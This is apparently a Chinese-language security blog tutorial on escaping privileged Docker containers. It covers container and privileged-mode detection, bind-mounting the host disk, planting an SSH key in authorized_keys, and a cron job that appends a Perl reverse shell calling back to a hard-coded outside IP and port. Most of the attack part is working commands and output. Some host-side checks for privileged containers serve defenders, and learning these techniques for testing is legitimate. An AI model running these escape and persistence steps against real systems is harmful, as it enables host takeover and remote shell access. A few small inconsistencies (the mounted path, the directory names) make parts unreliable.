docker容器逃逸

前言:

对于现在的服务,很多都是打包容器后运行的,因此我们拿到的shell可能是容器的shell,而不是真正宿主机的shell,因此这里介绍如何判断是否是docker容器,以及如何实现docker逃逸。

1. 检测是否docker容器:

我们都知道docker容器是靠cgroup进行资源隔离的,因此可以查看cgroup目录下是否存在docker。

使用以下命令可以判断当前是否是docker容器。

1
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

在linux中/proc文件系统是一个特殊的虚拟文件系统,提供了关于内核状态的信息。/proc/1/cgroup 文件包含了进程ID为1的进程(通常是 init 或者 systemd)所属的 cgroup(控制组)信息。

如果在宿主机中运行会有下面的结果:

image-20240313091638999

而在docker容器内部,则会输出大量的docker,如图:

image-20240313091729585

2. docker特权模式逃逸:

Docker 特权模式是向主机系统上的所有设备授予 Docker 容器根功能。在特权模式下运行容器赋予它主机的功能。

在特权模式下可以实现目录挂载,写入ssh公钥等功能。因此在docker运行在特权模式下是非常危险的。

2.1 宿主机排查特权模式容器:

宿主机如何排查docker特权模式的容器?

1
docker ps -q | xargs -I {} docker inspect --format='{{.Id}} {{.HostConfig.Privileged}}' {}

在宿主机中就可以查看到当前运行在特权模式下的docker容器:

image-20240313092633648

或者查看容器的名称:

1
docker ps --format '{{.Names}}' | xargs -I {} docker inspect --format='{{.Name}} {{.HostConfig.Privileged}}' {}

image-20240313093500659

2.2 容器内部排查特权模式:

查看/proc/self/status目录:

查看/proc/self/status目录下是否存在0000001fffffffff状态码和0000003fffffffff这个状态码:

1
grep -Eqi "CapEff:.*0000003fffffffff|CapEff:.*000001ffffffffff" /proc/self/status && echo "是特权模式" || echo "不是特权模式,请查看procfs逃逸或者是socket逃逸"

image-20240313094722838

可以判断出是特权模式。

查看容器可执行命令:

在普通模式下,进程只能运行一些linux指令:

1
chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap

特权模式可以使用以下命令:

1
chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read

当前我们可以在运行容器时候使用--cap-add 给容器内部添加linux内核命令,如:

1
docker run --cap-add=sys_admin [其他参数] 镜像名 [命令]

因此这种方法的是不太准确的,不能确定运行容器的时候是给容器添加了命令。

还有的是如果是容器中非root用户也可能没有执行linux命令的权限。如下面的:

1
2
3
4
5
6
7
docker run --rm -it debian:buster chown 65534 /var/log/lastlog

docker run -u 65534 --rm -it debian:buster chown 65534 /var/log/lastlog
chown: changing ownership of '/var/log/lastlog': Operation not permitted

docker run --privileged -u 65534 --rm -it debian:buster chown 65534 /var/log/lastlog
chown: changing ownership of '/var/log/lastlog': Operation not permitted

查看tmpfs文件

使用如下命令,显示已挂载的文件系统,但只显示挂载点路径包含 /proc 且文件系统类型为 tmpfs 的条目。在这种情况下,/proc 目录通常用于挂载虚拟文件系统,而 tmpfs 则是一种用于临时文件的内存文件系统。

1
mount |grep '/proc.*tmpfs'

普通模式下,部分内核模块路径比如 /proc 下的一些目录需要阻止写入、有些又需要允许读写, 这些文件目录将会以 tmpfs 文件系统的方式挂载到容器中,以实现目录 mask 的需求

在普通模式下运行结果:

1
2
3
4
5
6
7
8
root@ce4ef7a90948:/# mount |grep '/proc.*tmpfs'
tmpfs on /proc/acpi type tmpfs (ro,relatime)
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/timer_list type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/timer_stats type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/sched_debug type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/scsi type tmpfs (ro,relatime)

而在特权模式下:

1
2
root@7924793b131d:/tmp# mount |grep '/proc.*tmpfs'
root@7924793b131d:/tmp#

对于docker容器,有时候可能没有wget,没有git,甚至没有vim以及vi(也没有nano),因此可以使用echo重定向到sh中,实现docker中一次性写入文件:

1
2
3
cat << 'EOF' > script.sh
写入内容
EOF

这段话表示的是写入内容到script.sh中,知道EOF结束。

2.3 特权模式下目录挂载实现容器逃逸:

2.3.1 目录挂载

查看是否是docker容器:

1
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

查看是否是特权模式:

1
grep -Eqi "CapEff:.*0000003fffffffff|CapEff:.*000001ffffffffff" /proc/self/status && echo "是特权模式" || echo "不是特权模式,请查看procfs逃逸或者是socket逃逸"

首先查看挂载的目录:

1
2
3
4
5
6
7
root@7924793b131d:/# df -h
Filesystem Size Used Avail Use% Mounted on
overlay 69G 19G 48G 28% /
tmpfs 64M 0 64M 0% /dev
tmpfs 1.9G 0 1.9G 0% /sys/fs/cgroup
shm 64M 0 64M 0% /dev/shm
/dev/vda1 69G 19G 48G 28% /etc/hosts

可以看到/etc/hosts 被挂载到了 /dev/vda1 设备上。

在tmp目录下创建abcd目录:

1
mkdir /abcd

使用mount挂载宿主机目录:

1
mount --bind <宿主机挂载的目录> <容器内部的目录> 

比如我需要在tmp目录下挂载宿主机的/etc目录

1
2
3
cd tmp
mkdir abcd
mount --bind /dev/vda1 /tmp/abcd
1
2
3
4
5
6
7
root@7924793b131d:/tmp/abcc/root# df -h
Filesystem Size Used Avail Use% Mounted on
overlay 69G 19G 48G 28% /
tmpfs 64M 0 64M 0% /dev
tmpfs 1.9G 0 1.9G 0% /sys/fs/cgroup
shm 64M 0 64M 0% /dev/shm
/dev/vda1 69G 19G 48G 28% /tmp/abcd

如果需要取消挂载可以使用umount 命令,如:umount -v /dev/sda1

这里ubuntu在tmp在不太行,可以创建一个新的目录再挂载。

可以查看到挂载成功:

image-20240315114302711

2.3.2 写入公钥:

kali生成sshkey,

1
ssh-keygen -t rsa

然后将ssh的公钥id_rsa.pub写入目标服务器上,并且保存名称为authorized_keys

1
2
3
cat << 'EOF' > authorized_keys
id_ssh.pub的内容
EOF

image-20240315114959605

kali上直接ssh连接即可:

1
ssh -i id_rsa root@121.37.225.219

image-20240315115307556

2.3.3 定时任务:

定时任务一般写在/var/spool/cron目录下:

修改定时任务的内容,这里注意使用的是>> 重定向,即追加,而不是使用>直接覆盖。

1
echo $'*/1 * * * * perl -e \'use Socket;$i="47.96.111.156";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> ./root

我尝试了直接修改/var/spool/cron/root文件发现不会自动生效,因此我们可以直接使用crontab的cli命令行去执行,但是crontab -e编译定时任务需要使用vi/vim

正常情况下是可以反弹shell的。

image-20240315151620366

工具:

检测docker的脚本:container-escape-check/README_ZH.md at main · teamssix/container-escape-check (github.com)

参考:

容器特权模式与非特权模式的区别 - mozillazg’s Blog

容器逃逸方法检测指北 | T Wiki (teamssix.com)

container-escape-check/README_ZH.md at main · teamssix/container-escape-check (github.com)


docker容器逃逸
https://pow1e.github.io/2024/03/13/云安全/docker/docker容器逃逸/
作者
pow1e
发布于
2024年3月13日
许可协议